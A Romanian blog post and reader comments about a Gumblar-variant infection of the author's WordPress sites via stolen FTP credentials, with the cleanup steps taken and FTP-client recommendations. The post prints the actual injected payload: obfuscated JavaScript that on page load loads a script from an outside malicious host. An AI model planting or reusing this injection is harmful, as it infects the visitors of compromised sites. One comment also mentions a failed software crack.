Am reuşit în urmă cu vreo 4 zile să infectez toate site-urile pe care le aveam in Total Commander cu un ratat de virus, cu o variantă mai nouă a virusului gumblar. Eu dăteam vina pe cei de la webfactor (sorry)… cică se lucreaza la servere când colo toate wordpress-urile mele erau ciuruite.
După ce am citit la dece ce trebuie să fac in situaţia asta, am schimbat imediat parolele de FTP, am făcut update la wordpress, am luat la puricat fiecare temă in parte şi am scanat cu Malwarebytes Anti-Malware. Fişierele infectate din temele wordpress au fost index.php, home.php şi toate fişierele jav a care existau in tema respectivă. Fiecare document avea la sfârşit adăugată minunea, cod ce incărca fişiere malware de pe alte servere (era bine dacă o incărca si pe mă-sa).
< script >/*GNU GPL*/ try{window.onload = function(){var Dlo228l8u771kzw = document.createElement(’script’);Dlo228l8u771kzw.setAttribute(‘type’, ‘text/javascript’);Dlo228l8u771kzw.setAttribute(‘id’, ‘myscript1′);Dlo228l8u771kzw.setAttribute(’src’, ‘h@(t#t^^!p#&:@^$(/$/(j^#^o^o(#$m&)$l$(@!#a$^-!&^$)o@@r##!!g^!(^.$$^s))$p(@(a@@n@)#k^@#w&)i#$r(e(.$!&#c!@o!^()!m#.!&w())3(^@s$&^c$)h&(o#!o&#l&@s!^&-(c#o(#)m@$.&(e$@&!a^s(y(t(a$(^)b)!&l&e@!t(e)(n!n$#)i^(^!s@.^(r^#^$u(#:&8^$)0)^#8^(!0^/!#g##@$$o&o#$g#l!e^($.(@c#o^!)m@/(g&$^o(@o$#(^g($l!e@.##c$)$(o$)!!m^$/($!b!)$)i$n#(g)!.^!c((@&@o^$m)$)/&!&g$(($o)o)@((g#&&l(!e@$.(f($)^&r@&!#/!w@(o(^!r)d()$!#p)!^r(e@#s&)!s(^!@.^(&o$#@r((g^/^^@’.replace(/\!|@|&|\)|\$|\(|#|\^/ig, ”));Dlo228l8u771kzw.setAttribute(‘defer’, ‘defer’);document.body.appendChild(Dlo228l8u771kzw);}} catch(e) {}< /script >
Datorită folosirii intense [a] Internet Explorer-ului. Bă mă laşi? Nu folosesc IE decât atunci când vreau să testez o temă wordpress (pe localhost, atât) dar şi atunci folosesc IETester.
În caz că vă intrebaţi d’aia a fost blogu’ meu down vreo 3-4 zile. ;(
PS: Ce client FTP imi puteţi recomanda in loc de TotalCommander?
Flashfxp, filezilla sau core ftp ca recomandari
Multumesc frumos pentru recomandare.
Smart FTP, imi place cel mai mult.
Am găsit FlashXP dar nu merge decat 30 de zile, iar crack-ul nu “functioneşte”
Si eu am unu care isi creaza o linie numai in index.php. Nu am avut ce sa ii fac decat sa fac toate fisiere index.php read only.
Eu tot Total Commander folosesc si nu am avut probleme pana acuma .
Pai de tine perfu nu se atinge nimic. Tu esti invincibil.
Eu folosesc Filezila si e nelimitat! E foarte bun
Ti-l recomand 
Da, si eu tot la Filezilla m-am oprit, Lucreaza destul de bine…imi place.
M-am luptat cu problema asta, acum doua zile mi-a fost infectat blogul. Noroc cu backupul.
Salut ! am avut si am inca probleme cu un virus asemanator, am folosit Filezila si cute ftp au fost infectate indexul si un script cu aceste ftp-uri